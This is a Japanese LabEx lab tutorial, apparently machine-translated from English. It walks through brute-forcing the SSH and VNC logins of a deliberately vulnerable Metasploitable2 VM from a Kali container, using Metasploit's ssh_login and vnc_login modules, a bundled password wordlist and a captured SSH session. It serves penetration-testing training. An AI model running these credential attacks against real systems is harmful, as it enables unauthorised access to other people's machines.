SSH と VNC リモート接続のブルートフォース攻撃

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、脆弱なパスワード認証サービスに対するブルートフォース攻撃の実行方法を学びます。ネットワークサービスにアクセスするために認証が必要で、その認証メカニズムがユーザー名とパスワードに依存している場合、脆弱なパスワードの脆弱性は一般的な攻撃対象となります。この種の脆弱性は、通常、ユーザーが「123456」のような脆弱なパスワードを設定することによって引き起こされます。

脆弱なパスワードを悪用する最も直接的な方法は、辞書ベースのブルートフォース攻撃を使用することです。この攻撃では、潜在的なユーザー名とパスワードが含まれる辞書ファイルが重要です。攻撃者は、辞書内のユーザー名とパスワードの組み合わせを使って接続を試み、接続に成功するまで繰り返します。

この実験では、LabEx プラットフォーム内の Kali Linux 環境の Metasploit Framework (MSF) ターミナルを利用して、Metasploitable2 ターゲットマシンの SSH および VNC サービスに対するブルートフォース攻撃を実行します。

注意: この実験で使用するクラウドインスタンスは、コスト制約により利用可能なインスタンス数が制限されています。演習を完了するのに十分な時間があるときのみ実験環境を起動し、インスタンスの浪費を避けてください。


Skills Graph

環境の理解

このステップでは、実験環境とブルートフォース攻撃を実行するための前提条件について学びます。

実験環境は以下の 2 つのコンポーネントで構成されています。

  1. 攻撃マシン: docker コマンドを使用して起動し、bash シェルを通じてアクセスする必要がある Kali Linux コンテナ。
  2. ターゲットマシン: ホスト名が target、IP アドレスが 192.168.122.102 の Metasploitable2 仮想マシン。このマシンのデフォルトのユーザー名とパスワードは msfadmin/msfadmin です。このマシンは Libvirt 仮想マシン管理システムを使用して起動する必要があります。

攻撃は、Kali Linux 環境から Metasploit Framework (MSF) を使用してターゲットマシンに対して実行されます。

実験環境を起動するには、以下の手順に従ってください。

  1. LabEx ホストマシン(Ubuntu デスクトップ)で XFCE ターミナルを起動します。

  2. 以下のコマンドを使用して Metasploitable2 ターゲットマシンを起動します。

sudo virsh start Metasploitable2

ターゲットマシンが起動するまで待ちます。起動には 1 - 3 分かかる場合があります。

  1. ping コマンドを使用してターゲットマシンへの接続性をテストします(Ctrl+C を使用して ping を停止できます)。
ping 192.168.122.102
  1. 以下のコマンドを使用して Kali Linux コンテナを起動し、bash シェルに入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. ping コマンドを使用して Kali コンテナからターゲットマシンへのネットワーク接続性をテストします(Ctrl+C を使用して ping を停止できます)。
ping 192.168.122.102

これで攻撃マシン(Kali コンテナ)とターゲットマシン(Metasploitable2)の両方が実行されており、ブルートフォース攻撃を進めることができます。

注意: bash シェルから誤って抜けると、Kali コンテナが停止します。LabEx ホストマシンで docker run -ti --network host b5b709a49cd5 bash コマンドを実行することで、新しい Kali コンテナを再起動し、再び bash シェルに入ることができます。

SSH のブルートフォース攻撃

このステップでは、Kali Linux 環境の Metasploit Framework (MSF) を使用して、Metasploitable2 ターゲットマシンの SSH サービスに対するブルートフォース攻撃の実行方法を学びます。

  1. Kali Linux コンテナで、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit コンソール内で、SSH のブルートフォース攻撃に auxiliary/scanner/ssh/ssh_login モジュールを使用します。
use auxiliary/scanner/ssh/ssh_login
  1. 攻撃に必要なオプションを設定します。
  • ターゲットホストを設定します。
set rhosts 192.168.122.102
  • パスワード辞書ファイルを設定します(提供されている /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt ファイルを使用できます)。
set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
  • 過度な出力を避けるために詳細表示を false に設定します。
set verbose false
  1. 設定したオプションを確認します。
show options
  1. ブルートフォース攻撃を開始します。
exploit

攻撃が開始され、指定された辞書ファイル内のユーザー名とパスワードの組み合わせを使って SSH サービスにログインを試みます。ログインに成功すると、対応する資格情報が表示されます。

注意: ブルートフォースのプロセスには長時間かかる場合があります。必要に応じて、最初のログイン成功が表示された後に Ctrl+C を押してプロセスを中断することができます。

  1. ログインに成功すると、攻撃スクリプトは自動的に SSH セッションを作成します。sessions -i <session_id> コマンドを使用してセッションに切り替えることができます。ここで <session_id> は出力に表示されるセッション ID です。

  2. SSH セッション内で、ターゲットマシン上で様々なコマンドを実行することができます。

Metasploit コンソールを終了するには Ctrl+D を押し、その後検査を開始してください

VNC のブルートフォース攻撃

このステップでは、Kali Linux 環境の Metasploit Framework (MSF) を使用して、Metasploitable2 ターゲットマシンの VNC サービスに対するブルートフォース攻撃の実行方法を学びます。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit コンソール内で、VNC のブルートフォース攻撃に auxiliary/scanner/vnc/vnc_login モジュールを使用します。
use auxiliary/scanner/vnc/vnc_login
  1. 攻撃のスレッド数を設定します(スレッド数を増やすと攻撃が速くなりますが、検知される可能性も高くなります)。
set THREADS 5
  1. ターゲットホストの IP アドレスを設定します。
set RHOSTS 192.168.122.102
  1. ブルートフォース攻撃を開始します。
exploit
  1. VNC ログインにはユーザー名が不要で、一般的な脆弱なパスワードのみを試すため、攻撃結果はすぐに表示されます。

Metasploit コンソールを終了するには Ctrl+D を押し、その後検査を開始してください

まとめ

この実験では、Kali Linux 環境の Metasploit Framework (MSF) を使用して、脆弱なパスワード認証サービスに対するブルートフォース攻撃の実行方法を学びました。具体的には、Metasploitable2 ターゲットマシンの SSH および VNC サービスに対するブルートフォース攻撃を実施しました。

この実験では以下の重要な概念をカバーしています。

  • 実験環境と前提条件の理解
  • ブルートフォース攻撃のための Metasploit Framework の設定
  • ブルートフォース攻撃にパスワード辞書ファイルを利用する方法
  • SSH サービスに対するブルートフォース攻撃の実行
  • SSH ブルートフォース攻撃スクリプトの分析
  • VNC サービスに対するブルートフォース攻撃の実行

この実践的な経験を通じて、脆弱なパスワード認証サービスに対するブルートフォース攻撃を実施するための実用的な知識とスキルを獲得しました。これは、ペネトレーションテストやエシカルハッキングの重要な側面です。